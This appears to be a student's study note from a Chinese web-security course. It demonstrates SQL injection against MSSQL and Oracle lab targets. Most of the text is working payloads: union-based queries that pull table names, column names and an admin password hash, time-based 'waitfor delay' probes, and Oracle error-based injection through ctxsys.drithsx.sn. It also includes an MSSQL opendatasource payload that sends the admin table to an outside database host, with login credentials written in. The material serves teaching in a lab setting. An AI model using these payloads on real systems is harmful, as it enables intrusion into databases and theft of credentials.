掌控安全Web安全微专业笔记 (16)

image-20201021215215611

7.查询admin的数据

:8015/?id=1\' union all select id,passwd,token from admin --+

image-20201021215257170

8.其他反弹注入

:8015/?id=1\';select*from syscolumns where id=1waitfor delay \'0:0:5\'--+

:8015/?id=1\';insert into opendatasource(\'sqloledb\',\'server=den1.mssql7.gear.host,1433;uid=xcsxchen;pwd=Bu18PX8IY5-?;database=xcsxchen\').xcsxchen.dbo.temp select * from admin --+

image-20201021231102131

5-5 Oracle注入 — 报错注入 一、注入函数解析

Dual是一个实表(也有人说它是虚表),如果你直接查询它,它只显示一个X,列名为DUMMY
那么要它有什么用妮?
它实际上是为了满足查询语句的结构而产生
比如你想查询你的用户名 select user from Dual
调用系统函数:(获得随机值:select dbms_random.random from dual)
还能做加减法:select 9+1 from dual
………………
还有各种功能自己去挖掘吧

select*from all_tables 查询出所有的表 select*from user_tables 查询出当前用户的表 select*from all_tab_columns 查询出所有的字段 select*from user_tab_columns 查询出当前用户的字段 select*from v$version 查版本 rownum=1 (限制查询返回的总行数为一条)

对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。
我们可以用rownum<3来要求他输出2条数据

and 字段名<>字段值 (一个条件,查询时排除符合条件的数据 当字段名中字段值符合数据就排除符合这个条件的数据)

eg: and TABLE_NAME<>\'DUAL\'
查询时符合table_name字段中值为DUAL的整条数据都会被排除

二、报错注入+联合查询(union all)

:8808/index_x.php

CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)

and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))-- 查询数据库版本

扩展:
https://www.freebuf.com/column/174974.html(注入总结文章)

三、靶场演示 1.判断注入点

:8808/?id=1 and 1=1 页面正常

:8808/?id=1 and 1=2 页面异常

2.判断字段数

:8808/?id=1 order by 4

:8808/?id=1 order by 5 页面异常

有5个字段

3.看回显点

:8808/?id=1 union all select null,null,null,null from dual

:8808/?id=3 union all select 2,to_nchar(\'a\'),to_nchar(\'b\'),0 from dual

image-20201022004525386

字符串需要转换成to_nchar类型,ORACEL要求数据类型正确这里需要不断尝试数据类型

4.查看当前的表

:8808/?id=3 union all select 2,to_nchar(TABLE_NAME),to_nchar(\'b\'),0 from user_tables

NEWS

:8808/?id=3 union all select 2,to_nchar(TABLE_NAME),to_nchar(\'b\'),0 from user_tables where TABLE_NAME<>\'NEWS\'

ADMIN

:8808/?id=3 union all select 2,to_nchar(TABLE_NAME),to_nchar(\'b\'),0 from user_tables where TABLE_NAME<>\'NEWS\' and TABLE_NAME<>\'ADMIN\'

MD5

:8808/?id=3 union all select 2,to_nchar(TABLE_NAME),to_nchar(\'b\'),0 from user_tables where TABLE_NAME<>\'NEWS\' and TABLE_NAME<>\'ADMIN\' and TABLE_NAME<>\'MD5\'

没有找到对应数据

ORACEL查询表用 select TABLE_NAME from user_tables

由于ORACLE没有limit,实现单个输出可以用 <>上次出现 或者rownum r方法

5.查询admin表的字段

:8808/?id=3 union all select 2,to_nchar(COLUMN_NAME),to_nchar(\'b\'),0 from(select rownum r,COLUMN_NAME from user_tab_columns where table_name=\'ADMIN\') where r=1

ID

:8808/?id=3 union all select 2,to_nchar(COLUMN_NAME),to_nchar(\'b\'),0 from(select rownum r,COLUMN_NAME from user_tab_columns where table_name=\'ADMIN\') where r=2

UNAME

:8808/?id=3 union all select 2,to_nchar(COLUMN_NAME),to_nchar(\'b\'),0 from(select rownum r,COLUMN_NAME from user_tab_columns where table_name=\'ADMIN\') where r=3

UPASS

:8808/?id=3 union all select 2,to_nchar(COLUMN_NAME),to_nchar(\'b\'),0 from(select rownum r,COLUMN_NAME from user_tab_columns where table_name=\'ADMIN\') where r=4

没有找到对应数据

6.查看admin表UPASS字段第3条

:8808/?id=3 union all select 2,to_nchar(UPASS),to_nchar(\'b\'),0 from(select rownum r,UPASS from admin) where r=3

2a61f8bcfe7535eadcfa69eb4406ceb9

7.报错注入方法

:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) --+

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzpdzz.html